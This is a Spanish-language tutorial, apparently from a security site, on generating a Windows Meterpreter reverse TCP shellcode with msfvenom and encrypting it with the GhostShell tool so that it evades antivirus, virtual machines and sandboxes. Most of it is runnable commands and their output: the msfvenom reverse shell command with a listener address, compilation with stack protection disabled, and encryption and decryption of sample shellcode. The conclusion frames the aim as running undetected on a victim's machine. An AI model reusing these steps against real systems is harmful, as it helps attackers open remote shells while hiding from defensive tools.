COMO GENERAR SHELLCODE PARA EVADIR LOS ANTIVIRUS, MÁQUINAS VIRTUALES Y SANDBOXES [PASOS]

INTRODUCCIÓN

El shellcode es la siguiente fase en la búsqueda de un exploit para completar un ataque. Todos los hackers requieren de un shellcode para comprometer el sistema objetivo, por lo que esta herramienta es fundamental para lograr un ataque devastador; incluso el cifrado de shellcode juega un papel importante para que el malware pueda eludir las medidas de seguridad, como antivirus, máquinas virtuales y entornos de sandbox.

Hoy lo guiaremos en la revisión de una técnica para cifrar shellcode diseñada por los investigadores del Instituto Internacional de Seguridad Cibernética (IICS) para probar malware en entornos controlados.

ENTORNO

  • Sistema Operativo: Kali Linux 2019.3 64bit
  • Versión de Kernel: 5.2.0

PASOS DE INSTALACIÓN

  • Use el siguiente comando para clonar el proyecto
  • git clone https://github.com/ReddyyZ/GhostShell
root@kali:/home/iicybersecurity# git clone https://github.com/ReddyyZ/GhostShell
Cloning into 'GhostShell'...
remote: Enumerating objects: 27, done.
remote: Counting objects: 100% (27/27), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 185 (delta 15), reused 0 (delta 0), pack-reused 158
Receiving objects: 100% (185/185), 4.49 MiB | 1.60 MiB/s, done.
Resolving deltas: 100% (91/91), done.
  • Use el comando cd para ingresar al directorio ghostshell
root@kali:/home/iicybersecurity# cd GhostShell/
root@kali:/home/iicybersecurity/GhostShell#
  • Usamos msfvenom para generar y generar diferentes tipos de shellcode y es una interfaz de línea de comandos
  • Ahora, vamos a generar shellcode usando msfvenom. Use este comando para generar shellcode
  • msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=80 -f c
GhostShell - Shell code
  • Generamos con éxito el shellcode
  • Ahora, usemos el siguiente comando para compilar el archivo de código del proyecto de Github
  • gcc -m32 -fno-stack-protector -z execstack encrypt_shellcode.c -o encrypt_shellcode
  • Luego, usando este comando genera el archivo encrypt_shellcode. Use el comando ls para ver el archivo
root@kali:/home/iicybersecurity/GhostShell# gcc -m32 -fno-stack-protector -z execstack encrypt_shellcode.c -o encrypt_shellcode
root@kali:/home/iicybersecurity/GhostShell# ls
assets encrypt_shellcode encrypt_shellcode.c LICENSE main.c main.h README.md
  • Supongamos que el siguiente es nuestro shellcode
\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1
  • Ahora, podemos cifrar el shellcode usando este comando
  • Formato del comando: ./ encrypt_shellcode e “key” “shellcode”
  • e: cifra el shellcode
  • clave: \xde\xad\xbe\xef
root@kali:/home/iicybersecurity/GhostShell# ./encrypt_shellcode e "\xde\xad\xbe\xef" "\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
Encrypted: \x4e\xac\xbd\xee\xc7\x48\xbd\xee\xdd\xad\x81\x18\xa4\x22\x7f
  • Ahora, podemos descifrar el shellcode usando este comando
  • Formato del comando: ./ encrypt_shellcode d “clave” “shellcode”
  • D: descifrar el shellcode
root@kali:/home/iicybersecurity/GhostShell# ./encrypt_shellcode d "\xde\xad\xbe\xef" "\x4e\xac\xbd\xee\xc7\x48\xbd\xee\xdd\xad\x81\x18\xa4\x22\x7f"
Decrypted: \x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1

CONCLUSIÓN

Vimos cómo cifrar y descifrar el shellcode usando la clave única. Si el shellcode se ejecuta en la máquina de la víctima, no se detecta en la máquina remota.